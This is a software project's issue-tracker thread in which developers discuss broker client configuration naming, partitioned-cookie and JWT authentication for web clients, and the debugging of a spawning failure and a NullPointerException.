So, I need to migrate from Ubuntu 22.04 -> 24.04.
I googled this issue and got
The recommended approach for production systems is to wait for the 24.04.1 point release to ensure stability, or to perform a parallel migration.
Why do we use 24.04 now?
#661 Updated by Greg Shah 5 months ago
22.04 is almost 4 years old. We should not use it.
24.04 is almost 2 years old. It is stable and works well. There is no need to wait for a future release.
By the way, 26.04 (the next LTS) will be released in about a month. So we will start working with that soon.
#662 Updated by Roger Borrello 5 months ago
- % Done changed from 100 to 90
Greg Shah wrote:
22.04 is almost 4 years old. We should not use it.
24.04 is almost 2 years old. It is stable and works well. There is no need to wait for a future release.
By the way, 26.04 (the next LTS) will be released in about a month. So we will start working with that soon.
And we are talking about the Docker images, not your host. You should move your host up, but for the Docker images, that is not a requirement.
#663 Updated by Hynek Cihlar 4 months ago
Sergey, is this ready for a final review? I ask because the issue is at 90% done.
#664 Updated by Sergey Ivanovskiy 4 months ago
Yes, please review rev 16463 9709d with partitioned cookies.
#665 Updated by Sergey Ivanovskiy 4 months ago
Rebased to revision 16472 (9709d).
#666 Updated by Sergey Ivanovskiy 4 months ago
- Related to Support #11272: JSON configuration usage in applications added
#667 Updated by Sergey Ivanovskiy 4 months ago
Created 9709e in order to provide the ports range for each broker host. Committed revision 16470.(9709e). Please review. If the proposed way is approved, then planning to add agents configuration that should be read from the broker client host configuration file.
#669 Updated by Sergey Ivanovskiy 4 months ago
Greg, for debugging broker-spawned web clients we need to deliver these parameters minAgentPort and maxAgentPort provided for the local web clients via these directory settings
<node class="container" name="clientConfig">
<node class="string" name="spawner">
<node-attribute name="value" value="/home/sbi/opt/hotel_gui/spawn"/>
</node>
<node class="string" name="jvmArgs">
<node-attribute name="value" value="-Xmx512m -Djava.awt.headless=true -Djava.compiler=NONE -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n"/>
</node>
<node class="integer" name="minAgentPort">
<node-attribute name="value" value="9988"/>
</node>
<node class="integer" name="maxAgentPort">
<node-attribute name="value" value="9999"/>
</node>
<node class="string" name="workingDir">
<node-attribute name="value" value="/home/sbi/projects/hotel_gui/deploy/client"/>
</node>
<node class="string" name="cfgOverrides">
<node-attribute name="value" value="client:cmd-line-option:debugalert=true"/>
</node>
</node>
The broker client xml holds these settings
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/home/sbi/opt/hotel_gui/spawn" />
<agent host="192.168.100.96"/>
<agent user="sbi"/>
<agent dedicatedMode="false"/>
<!-- -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -->
<java args="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -XX:MaxPermSize=64m -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8" />
<java classpath="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
</remote>
Can we add new settings to support jmx and java debugger agents?
<java minAgentPort="9988" /> <java maxAgentPort="9999" />
#670 Updated by Greg Shah 4 months ago
Can we add new settings to support jmx and java debugger agents?
Yes, but we should map these into bootstrap cfg category:group:key names which would match the terminology that we use in the directory. The idea here is that most (if not all) of the values should come from the directory and only in rare cases should we override in the bootstrap cfg. Those overrides should be directly mapped to the same names to make this more intuitive.
#671 Updated by Sergey Ivanovskiy 4 months ago
Please review rev 16471 and rev 16472 (9709e) that use intuitive client config settings remote:java:minAgentPort and remote:java:maxAgentPort.
#672 Updated by Sergey Ivanovskiy 4 months ago
Found issue and cleaned the code. Please review the committed revision 16473 (9709e).
#673 Updated by Greg Shah 4 months ago
Sergey Ivanovskiy wrote:
Please review rev 16471 and rev 16472 (9709e) that use intuitive client config settings
remote:java:minAgentPortandremote:java:maxAgentPort.
Actually, I don't consider these names to be intuitive.
- Why use the category name
remote? How does that match our directory paths? - Why use the group name
java? How does that match our directory paths?
Where there can be overlap between things specified for the web client and the broker, we should use that. Where something is new, we should have it match the directory pathing and element names.
#674 Updated by Sergey Ivanovskiy 4 months ago
I agree that remote is counterintuitive, but it has been used historically for the broker client configuration file. On the other hand, the group name java is closely related here because JMX and debugger agents are configured via Java command-line options. Therefore, minAgentPort and maxAgentPort logically belong to the java group. ConfigItem.MIN_AGENT_PORT and ConfigItem.MAX_AGENT_PORT have been set up accordingly.
#675 Updated by Greg Shah 4 months ago
I agree that
remoteis counterintuitive, but it has been used historically for the broker client configuration file.
As far as I know we have no existing brokers in production, so this can be changed to match the directory name.
On the other hand, the group name
javais closely related here because JMX and debugger agents are configured viaJavacommand-line options. Therefore,minAgentPortandmaxAgentPortlogically belong to thejavagroup.ConfigItem.MIN_AGENT_PORTandConfigItem.MAX_AGENT_PORThave been set up accordingly.
Do we have an equivalent for web clients?
#676 Updated by Sergey Ivanovskiy 4 months ago
Yes, we have equivalent settings for local web clients given via these directory settings:
<node class="container" name="clientConfig">
..........................................
<node class="integer" name="minAgentPort">
<node-attribute name="value" value="9988"/>
</node>
<node class="integer" name="maxAgentPort">
<node-attribute name="value" value="9999"/>
</node>
...........................................
</node>
#678 Updated by Sergey Ivanovskiy 4 months ago
Greg, do you propose to replace these ones to clientConfig too?
<java args="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -XX:MaxPermSize=64m -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8" />
<java classpath="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
How
remote should be changed? At first I thought that remote can be replaced by clientConfig and java will define a group.Thus, finally we would like to see these settings
<remote> <clientConfig args="-Xmx1G -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -XX:MaxPermSize=64m -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8" /> <clientConfig classpath="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" /> <clientConfig minAgentPort="9988" /> <clientConfig maxAgentPort="9999" /> </remote>
Correct?
#680 Updated by Sergey Ivanovskiy 4 months ago
Greg, please inspect ConfigItem for defined bootstrap options. This class should define all configuration parameters with their bootstrap analogs. It is common to all values to have different bootstrap option name and even more knowing the configuration item does not give any clue to guess the corresponding bootstrap option name. Would you like to fix all of them or just only those used in broker client configuration file? I seems that all of them can appear as bootstrap parameters for locally-spawned web clients.
#681 Updated by Sergey Ivanovskiy 4 months ago
We have webClient and clientConfig nodes that can be under these parents described by the following algorithm (java doc source)
* This method implements a search algorithm that allows values to be
* found that are account (user or process) specific or group specific
* within the current server or a global default for all servers.
* <p>
* The implementation iteratively looks up the directory node under:
* /server/<serverID>/runtime/<account_or_group>/<id>
* <p>
* If no user/process or group nodes are present, then this is checked:
* /server/<serverID>/runtime/default/<id>
* <p>
* If no /server/<serverID>/runtime node exists, this is checked
* (it is the global default area for all servers):
* /server/default/runtime/<account_or_group>/<id>
* <p>
* Finally, if no user/process or group nodes are present in the global
* default area, then this is checked:
* /server/default/runtime/default/<id>
and actually
/server/default/webClient and /server/default/clientConfig. This is the reason why remote is used for category of options but it is still counterintuitive.#682 Updated by Sergey Ivanovskiy 4 months ago
Another idea is to use clientConfig and webClient as categories of bootstrap options. Following this way gives clientConfig:jvmArgs:value, clientConfig:classpath:value, clientConfig:spawner:value,clientConfig:maxAgentPort:value, clientConfig:minAgentPort:value, webClient:portsRange:from, webClient:portsRange:to, webClient:host:value.
Thus these bootstrap options correspond to their nodes in the directory.
#683 Updated by Sergey Ivanovskiy 4 months ago
I found that we have the following settings
<node class="broker" name="broker1">
<node-attribute name="account" value="***"/>
<node class="container" name="portsRange">
<node class="integer" name="from">
<node-attribute name="value" value="7449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="7459"/>
</node>
</node>
</node>
that are available with 9709e. For the web client to start we need the default os user. At this moment the os user is given by this broker client settings
<remote>
......................
<agent user="***"/>
We are planning to change this to the corresponding directory value
webClient/defaultOsUser/value, are not?
If my view is correct, then the broker account names
<node class="broker" name="broker1"> <node-attribute name="account" value="***"/> ................................... </node>
and the default OS user should be one of the broker account names.
I meant that to go farther it needs to change
ConfigItem.Host to have this option name webClient:host:value as a replacement for client:web:host.I committed the changes in rev 16475 (9709e) but I should fix related code that uses
client:web:host if required and hard-coded template parameters for broker client
/** Host placeholder */
public static final String PARAM_HOST = "${remote.host}";
/** Secure port placeholder */
public static final String PARAM_PORT = "${remote.secure.port}";
/** Spawner placeholder */
public static final String PARAM_SPAWNER = "${remote.spawner}";
/** JVM arguments placeholder */
public static final String PARAM_JVM = "${remote.jvm.args}";
/** CLASSPATH placeholder */
public static final String PARAM_CP = "${remote.broker.classpath}";
/** remote/agent/dedicatedMode placeholder */
public static final String PARAM_DEDICATED_MODE = "${remote.agent.dedicatedMode}";
/** remote/agent/host placeholder */
public static final String PARAM_REMOTE_AGENT_HOST = "${remote.agent.host}";
/** client:web:port placeholder */
public static final String PARAM_CLIENT_WEB_PORT = "${remote.agent.port}";
Greg, do you have objections?
#684 Updated by Greg Shah 4 months ago
Greg, please inspect
ConfigItemfor defined bootstrap options. This class should define all configuration parameters with their bootstrap analogs. It is common to all values to have different bootstrap option name and even more knowing the configuration item does not give any clue to guess the corresponding bootstrap option name.
Yes, this is a fair point. We have existing category:group:key names that don't directly map to the directory paths. I didn't "catch" this in time in previous reviews and now we must live with it. I don't want to make it worse.
Would you like to fix all of them
No, these are in use widely. I don't want to change them.
or just only those used in broker client configuration file?
Yes, just these.
I seems that all of them can appear as bootstrap parameters for locally-spawned web clients.
Yes, please make them match the same names that are already in use. We can discuss if this should be a broker category instead of client but otherwise the names should match their existing use in the bootstrap cfg.
Do NOT use remote as the category.
#685 Updated by Sergey Ivanovskiy 4 months ago
Yes, I will clean the code in 9709e.
What is about 9709d where cross-site secure cookies with partition attribute CHIPS (Cookies Having Independent Partitioned State) is just used to preserve the current architecture?
#686 Updated by Sergey Ivanovskiy 4 months ago
9709d is rebased up to rev 16487.
#688 Updated by Hynek Cihlar 4 months ago
Code review 9709d.
Cookie name prefix (`AuthHandler.java:194` in diff): The cookie name is changed to "--Host-Auth-" but the standard CHIPS cookie prefix is "__Host-" (double underscore, not double dash). Using --Host- will not trigger the browser's cookie prefix security enforcement.
- Accessing server resources from the client
- Opening a MIME resource in a new tab
- Mixing embedded mode with virtual mode (different top-sites)
- FWD embedded in different top-domains
If these are tested and they will be confirmed to work then I'm OK with the changes.
#689 Updated by Sergey Ivanovskiy 4 months ago
Yes, I tested these cases although the prefix that you found was not correct. I will retest the changes with the correct prefix. It seems typos or related issues. Thank you for the review.
#690 Updated by Sergey Ivanovskiy 4 months ago
Greg Shah wrote:
Greg, please inspect
ConfigItemfor defined bootstrap options. This class should define all configuration parameters with their bootstrap analogs. It is common to all values to have different bootstrap option name and even more knowing the configuration item does not give any clue to guess the corresponding bootstrap option name.Yes, this is a fair point. We have existing
category:group:keynames that don't directly map to the directory paths. I didn't "catch" this in time in previous reviews and now we must live with it. I don't want to make it worse.Would you like to fix all of them
No, these are in use widely. I don't want to change them.
or just only those used in broker client configuration file?
Yes, just these.
I seems that all of them can appear as bootstrap parameters for locally-spawned web clients.
Yes, please make them match the same names that are already in use. We can discuss if this should be a
brokercategory instead ofclientbut otherwise the names should match their existing use in the bootstrap cfg.Do NOT use
remoteas the category.
Please review the committed rev 16476 (9709e) that holds these changes: hard-coded config values - removed and config items - reused, ConfigItem.getPlaceHolder() - added, "remote" - removed.
#691 Updated by Sergey Ivanovskiy 4 months ago
Hynek Cihlar wrote:
Code review 9709d.
Cookie name prefix (`AuthHandler.java:194` in diff): The cookie name is changed to
The changes don't address the concerns for the edge cases I raised with the CHIPS use (see #9709-572 and the related notes):"--Host-Auth-"but the standard CHIPS cookie prefix is"__Host-"(double underscore, not double dash). Using--Host-will not trigger the browser's cookie prefix security enforcement.
- Accessing server resources from the client
- Opening a MIME resource in a new tab
- Mixing embedded mode with virtual mode (different top-sites)
- FWD embedded in different top-domains
If these are tested and they will be confirmed to work then I'm OK with the changes.
Committed revision 16488 (9709d) fixed incorrect prefix. I can test only the existed configurations and applications with these changes.
#692 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
Committed revision 16488 (9709d) fixed incorrect prefix. I can test only the existed configurations and applications with these changes.
Begin with testing the cases easiest to setup: Opening mime resources from both virtual and embedded modes, spreadsheet widget from both virtual and embedded modes.
#693 Updated by Hynek Cihlar 4 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Committed revision 16488 (9709d) fixed incorrect prefix. I can test only the existed configurations and applications with these changes.
Begin with testing the cases easiest to setup: Opening mime resources from both virtual and embedded modes, spreadsheet widget from both virtual and embedded modes.
Very important, when testing make sure the top-site and clients differ by server name, not just by ports. For example the server should be served from 127.0.0.1 and the clients from localhost. Both on localhost with different ports is not a good test.
#694 Updated by Sergey Ivanovskiy 4 months ago
OK, I will use web clients spawned on VM that accessed by the vm ip address.
#695 Updated by Constantin Asofiei 4 months ago
- Related to Bug #11325: JVM shutdown hooks executed on FWD server, but they belong to the FWD client added
#696 Updated by Sergey Ivanovskiy 4 months ago
- File directory.xml
added
I need to discuss the following logic at BrokerManager.registerBroker. While preparing Hotel_Gui environment I got the following exception:
26/03/24 22:59:45.591+0300 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: Only process accounts are allowed.
at com.goldencode.p2j.main.BrokerManager.registerBroker(BrokerManager.java:231)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
at com.goldencode.p2j.net.Conversation.run(Conversation.java:237)
at java.base/java.lang.Thread.run(Thread.java:840)
This code
sm.getUserId() returns bogus and for this user sm.isProcessDefined returns false.
public static String registerBroker(String host, String user, boolean dedicatedMode)
throws UnknownHostException
{
synchronized (activeBrokers)
{
// check if brokers are defined for this P2J server.
if (activeBrokers.isEmpty())
{
throw new RuntimeException("No brokers are defined for this P2J server.");
}
SecurityManager sm = SecurityManager.getInstance();
BrokerParameters params = new BrokerParameters();
// account id
params.setUserId(sm.getUserId());
if (!sm.isProcessDefined(params.getUserId()))
{
throw new RuntimeException("Only process accounts are allowed.");
}
params.setAgentAddress(host);
// broker name if any
params.setBrokerName(sm.getBrokerForProcess(params.getUserId()));
if (params.getBrokerName() == null)
{
throw new RuntimeException("No broker is defined for this process account.");
}
// always add to all hosts first
addUserHostWithCheck(user, host, allHosts);
................................
}
but I did not see this exception with the same directory. There is only one exception that I rebuilt all certificates. Constantin, Greg, this logic confused me completely, do you know why
bogus appears in this context?#697 Updated by Sergey Ivanovskiy 4 months ago
- File broker1_client.xml
added
export TERM=xterm;./client.sh -cbroker1_client.xml was used in this test.
#698 Updated by Sergey Ivanovskiy 4 months ago
- File fwd_client_base_crash_20260324_234035.log
added
This is the client log. The initial connection was to insecure port and guest user: bogus. How should this logic flow?
#699 Updated by Roger Borrello 4 months ago
Sergey Ivanovskiy wrote:
export TERM=xterm;./client.sh -cbroker1_client.xmlwas used in this test.
Make sure to pass -b so that it passes it as a batch (secure will be true)
#700 Updated by Sergey Ivanovskiy 4 months ago
Thank you! The broker client was connected. Now I see what happened that the client.sh had been updated.
#701 Updated by Sergey Ivanovskiy 4 months ago
I tested 9709e and 9709d.
9709e can be merged into the trunk. Please complete the review.
9709d cannot. Embedded reports that should be opened in new tabs are not authorized because the secure cookie is not injected by the browser. Broker-spawned web clients in embedded and virtual desktop modes are accessible. Thus 9709d has not been completed yet. For these reports we can consider fetch method.
#702 Updated by Sergey Ivanovskiy 4 months ago
With 9709e the broker client configuration has these changes
<clientConfig>
<retry count="10" />
<retry seconds="10" />
<spawner value="{spawner_path}" />
<jvmArgs value="-Xmx512m -Djava.awt.headless=true -Djava.library.path={fwd_lib}/" />
<classpath value="{fwd_lib}/p2j.jar" />
</clientConfig>
<webClient>
<host value="{broker_client}"/>
<defaultOsUser value="{broker_os_user}"/>
<dedicatedMode value="false"/>
</webClient>
and log
NFO: The argument number 9 is: -classpath. INFO: The argument number 10 is: /home/sbi/projects/hotel_gui/deploy/lib/p2j.jar. INFO: The argument number 11 is: com.goldencode.p2j.main.ClientDriver. INFO: The argument number 12 is: net:server:host=192.168.100.28. INFO: The argument number 13 is: net:socket:nio=false. INFO: The argument number 14 is: net:ssl:trackSeqNo=false. INFO: The argument number 15 is: net:connection:secure=true. INFO: The argument number 16 is: net:server:secure_port=3333. INFO: The argument number 17 is: sso:subject:id=bogus. INFO: The argument number 18 is: sso:storage:id=storage-hotel. INFO: The argument number 19 is: webClient:host:value=192.168.100.34. INFO: The argument number 20 is: webClient:dedicatedMode:value=false. INFO: The argument number 21 is: webClient:port:value=7449. INFO: The argument number 22 is: server:spawner:uuid=fde3d37e-2840-45d8-90b5-241ed154dd9a. INFO: Check user account for: sbi. INFO: The password is null. INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/sbi/projects/hotel_gui/deploy/client). INFO: Spawn result code: (0). INFO: Forked. Setting working directory to /home/sbi/projects/hotel_gui/deploy/client.
#703 Updated by Sergey Ivanovskiy 4 months ago
In respect to
9709d cannot. Embedded reports that should be opened in new tabs are not authorized because the secure cookie is not injected by the browser. Broker-spawned web clients in embedded and virtual desktop modes are accessible. Thus 9709d has not been completed yet. For these reports we can consider fetch method.
I would like to apply improvements from 9709b that uses jjwt now to sign the embedded resources.
#704 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
9709dcannot. Embedded reports that should be opened in new tabs are not authorized because the secure cookie is not injected by the browser. Broker-spawned web clients in embedded and virtual desktop modes are accessible. Thus9709dhas not been completed yet. For these reports we can consider fetch method.
See my previous comments why CHIPS can't be used for these cases where you access resources from unpartitioned origins.
Also we certainly don't want to duplicate the auth mechanisms, CHIPS alongside JWT.
#705 Updated by Sergey Ivanovskiy 4 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
9709dcannot. Embedded reports that should be opened in new tabs are not authorized because the secure cookie is not injected by the browser. Broker-spawned web clients in embedded and virtual desktop modes are accessible. Thus9709dhas not been completed yet. For these reports we can consider fetch method.See my previous comments why CHIPS can't be used for these cases where you access resources from unpartitioned origins.
Actually all resources are passed through the web client.
Also we certainly don't want to duplicate the auth mechanisms, CHIPS alongside JWT.
It can be argued because the secure cookie is used through the web runtime so we cannot reject the cookie mechanics but adding signed resources will be worked with the same cookie because secure cookies will be provided to the client on response.
#706 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
9709dcannot. Embedded reports that should be opened in new tabs are not authorized because the secure cookie is not injected by the browser. Broker-spawned web clients in embedded and virtual desktop modes are accessible. Thus9709dhas not been completed yet. For these reports we can consider fetch method.See my previous comments why CHIPS can't be used for these cases where you access resources from unpartitioned origins.
Actually all resources are passed through the web client.
All resources are passed through the clients but tabs with resources are not authorized. I'm confused.
Also we certainly don't want to duplicate the auth mechanisms, CHIPS alongside JWT.
It can be argued because the secure cookie is used through the web runtime so we cannot reject the cookie mechanics
Can you please post a flow diagram how you envision the process?
#707 Updated by Sergey Ivanovskiy 4 months ago
Hynek Cihlar wrote:
Also we certainly don't want to duplicate the auth mechanisms, CHIPS alongside JWT.
It can be argued because the secure cookie is used through the web runtime so we cannot reject the cookie mechanics
Can you please post a flow diagram how you envision the process?
The issue reproduced with openMimeResource(url, mimeType, openInNewWindow) in the case if openInNewWindow is set true. This case can be handled by provided the once key
https://broker1host:broker1port/test/keyboard/?once=... https://broker1host:broker1port/open/resource/?once=..
Moved
p2j.openMimeResource and the other related public functions to p2j.socket to make them private. Then, provide once keys for resources for which fetch is not used and respond with the secure cookie for authenticated token.#708 Updated by Roger Borrello 4 months ago
Sergey Ivanovskiy wrote:
With 9709e the broker client configuration has these changes
<clientConfig>
<retry count="10" />
<retry seconds="10" />
<spawner value="{spawner_path}" />
<jvmArgs value="-Xmx512m -Djava.awt.headless=true -Djava.library.path={fwd_lib}/" />
<classpath value="{fwd_lib}/p2j.jar" />
</clientConfig>
<webClient>
<host value="{broker_client}"/>
<defaultOsUser value="{broker_os_user}"/>
<dedicatedMode value="false"/>
</webClient>
If you were to debug the broker's webclient, would the
jvmArgs updates for debug go in the <webClient> section?#709 Updated by Sergey Ivanovskiy 4 months ago
Roger, the idea of these changes was to use the same relative paths as the same values have in the directory.xml. In directory we have jvmArgs under clientConfig, but webClient holds host and defaultOsUser.
Greg have not reviewed this version yet but we discussed these changes here.
#710 Updated by Sergey Ivanovskiy 4 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
With 9709e the broker client configuration has these changes
[...]
If you were to debug the broker's webclient, would thejvmArgsupdates for debug go in the<webClient>section?
May be we need to do this in the directory but at this moment we have different container nodes webClient and clientConfig.
#711 Updated by Sergey Ivanovskiy 4 months ago
Another point is that the broker client debug option is not given in this bootstrap configuration but they are provided by options for client.sh
#712 Updated by Roger Borrello 4 months ago
Sergey Ivanovskiy wrote:
Another point is that the broker client debug option is not given in this bootstrap configuration but they are provided by options for
client.sh
Oh yes... silly of me. Sorry, I should have known.
#713 Updated by Sergey Ivanovskiy 4 months ago
Committed revision 16491 (9709d) fixed found issues with openMimeResource in new window. Tomorrow I am planning to cleanup the code and java docs and minor changes for jscript client in order to make openMimeResource related methods private.
#714 Updated by Sergey Ivanovskiy 4 months ago
- % Done changed from 90 to 100
Hynek, please review the committed revision 16494 (9709d). The found issue and the code was fixed and cleaned.
#715 Updated by Sergey Ivanovskiy 4 months ago
- File 9709d_all.patch added
This is the patch that include Roger changes in this task. I found missed history entries and committed them in rev 16497 (9709d).
#716 Updated by Sergey Ivanovskiy 4 months ago
- File deleted (
9709d_all.patch)
#717 Updated by Sergey Ivanovskiy 4 months ago
- File 9709d_all.patch
added
#718 Updated by Sergey Ivanovskiy 4 months ago
Constantin, please review 9709d changes that Greg noted in #9709-687 about the review.
#719 Updated by Sergey Ivanovskiy 4 months ago
I tested 10915a and found that we have
public static final ConfigItem<Boolean> JS_DEBUG_LOGGING = new ConfigItem<>(Boolean.class,
"enableDebugLogging",
"client",
"web",
"enableDebugLogging",
Type.CFG_OVERRIDES);
and this option was initially added into
webClient node. I think that its type is not correct.#720 Updated by Hynek Cihlar 4 months ago
Sergey, I can't run Hotel GUI with 9709d. An unknown client spawning issue. I reinstalled spawner but that didn't help. Reverting to trunk on the same branch worked fine. Are there any project config changes needed? Does Hotel GUI work for you?
#721 Updated by Sergey Ivanovskiy 4 months ago
Hynek Cihlar wrote:
Sergey, I can't run Hotel GUI with 9709d. An unknown client spawning issue. I reinstalled spawner but that didn't help. Reverting to trunk on the same branch worked fine. Are there any project config changes needed? Does Hotel GUI work for you?
Yes, these changes does not have configuration changes. I will check and respond sooner.
#722 Updated by Sergey Ivanovskiy 4 months ago
Yes, I tested with 9709e by merging changes into this branch, but standalone test failed with the same errors the spawner started but the web java client is waiting for client ready from js client that failed to load. Investigating that this issue is not expected.
#723 Updated by Sergey Ivanovskiy 4 months ago
It looks strange but I did not found client:web:host parameter delivered to java client process and spawn process.
May be it is related to existing code in WebClientsSpawner
String cfgHost = options.get(ConfigItem.HOST.name());
if (cfgHost != null)
{
// do not send this parameter on remote spawn, let the remote web server select the IP
if (!isRemote)
{
cmd.add(ConfigItem.HOST.fullOption() + "=" + cfgHost);
}
}
#724 Updated by Sergey Ivanovskiy 4 months ago
I got this exception
java.lang.NullPointerException: Cannot invoke "com.goldencode.p2j.main.WebClientBuilder$PostInitOptions.getDriverType()" because "postInitOptions" is null
at com.goldencode.p2j.main.WebClientSpawner.getClientConfig(WebClientSpawner.java:518)
at com.goldencode.p2j.main.WebClientSpawner.getTemporaryClient(WebClientSpawner.java:314)
at com.goldencode.p2j.main.SpawnerImpl.getTemporaryClient(SpawnerImpl.java:182)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
at com.goldencode.p2j.net.Conversation.run(Conversation.java:237)
at java.base/java.lang.Thread.run(Thread.java:840)
as a root cause that looks independent from my changes.
#725 Updated by Sergey Ivanovskiy 4 months ago
I found changes
- if (is.driver.isWeb())
- {
- final WebClientRegistrar registrar =
- (WebClientRegistrar) RemoteObject.obtainNetworkInstance(
- WebClientRegistrar.class, is.session);
- registrar.registerWebClientSession(uuid, is.session.getNodeAddress());
- is.freeWebClientResources = () -> {
- try
- {
- registrar.freeWebClientResources(uuid);
- }
- catch(Throwable t)
- {
- // there is no active session
- }
- };
- is.shutdownHook = new Thread(is.freeWebClientResources);
- OrderedShutdownHooks.registerShutdownHook(1, is.shutdownHook);
- }
When we removed shutdown hook, the registrar.registerWebClientSession(uuid, is.session.getNodeAddress()); was removed. But it seems incorrect?
#726 Updated by Sergey Ivanovskiy 4 months ago
We have this code in WebClientsManager
public void registerWebClientSession(String webClientId, int peerNode)
{
if (!(portsRestricted || isAgentRangeConfigured()))
{
return;
}
TimerTask cleaner = cleaners.remove(webClientId);
if (cleaner != null)
{
// cancel the cleaner, config was registered and in-use
cleaner.cancel();
}
so register should cancel the cleaner task.
#727 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
I got this exception
as a root cause that looks independent from my changes.
Reverting to trunk worked for me, so unless there was something else on my side, this must be somehow connected with the changes in the branch.
#728 Updated by Sergey Ivanovskiy 4 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
I got this exception
as a root cause that looks independent from my changes.
Reverting to trunk worked for me, so unless there was something else on my side, this must be somehow connected with the changes in the branch.
I reproduced this issue locally, but honestly I do not understand why the server responds with 500 error code without any logs, probably I missed something, today is not my day.
#729 Updated by Sergey Ivanovskiy 4 months ago
I commented out changes and still got 500 code for web client js. It looks like the build script is incorrect?
#730 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
I commented out changes and still got 500 code for web client js. It looks like the build script is incorrect?
Or caching at the browser?
#731 Updated by Sergey Ivanovskiy 4 months ago
How should I enable Jetty embedded logs? I guess that this is jjwt issue.
#732 Updated by Sergey Ivanovskiy 4 months ago
io.jsonwebtoken:jjwt-impl:0.13.0 uses com.fasterxml.jackson.core:jackson-databind:2.12.7.1 that is replaced by newer version. I did not find yet what was changed in the project in respect to my changes that was worked properly
+--- io.jsonwebtoken:jjwt-api:0.13.0 +--- io.jsonwebtoken:jjwt-impl:0.13.0 | \--- io.jsonwebtoken:jjwt-api:0.13.0 +--- io.jsonwebtoken:jjwt-jackson:0.13.0 | +--- io.jsonwebtoken:jjwt-api:0.13.0 | \--- com.fasterxml.jackson.core:jackson-databind:2.12.7.1 -> 2.18.3 (*)
#733 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
io.jsonwebtoken:jjwt-impl:0.13.0usescom.fasterxml.jackson.core:jackson-databind:2.12.7.1that is replaced by newer version. I did not find yet what was changed in the project in respect to my changes that was worked properly
[...]
Does Java client process start during spawning? If not I suggest you add some loggin in the native spawn.
#734 Updated by Sergey Ivanovskiy 4 months ago
Yes, the web client is spawned successfully and even AuthHandler works accordingly but all requests are handled by some handler where NPE exception is thrown. I am not sure if it is the root cause issue
STATUS: 500 MESSAGE: java.lang.NullPointerException: Cannot invoke "String.length()" because "name" is null
because I missed the source handler during the debug session.
#735 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
Yes, the web client is spawned successfully and even
AuthHandlerworks accordingly but all requests are handled by some handler where NPE exception is thrown. I am not sure if it is the root cause issue
[...]
because I missed the source handler during the debug session.
Try an Exception breakpoint to see where the NPE happens.
#736 Updated by Sergey Ivanovskiy 4 months ago
Hynek, thank you! You helped me to get out of panic mindset and to switch into logically-minded state. That was my rewriting silly bug. Please review the committed rev 16508 (9709d).
#737 Updated by Hynek Cihlar 4 months ago
Sergey Ivanovskiy wrote:
Hynek, thank you! You helped me to get out of panic mindset and to switch into logically-minded state. That was my rewriting silly bug. Please review the committed rev 16508 (9709d).
Glad it worked :-).
#738 Updated by Sergey Ivanovskiy 4 months ago
Committed revision 16509 (9709d) to fix new session functionality that was regressed by rev 16477 (trunk).
#739 Updated by Sergey Ivanovskiy 4 months ago
I have 9709d and 9709e in the stack for commits.
#740 Updated by Hynek Cihlar 4 months ago
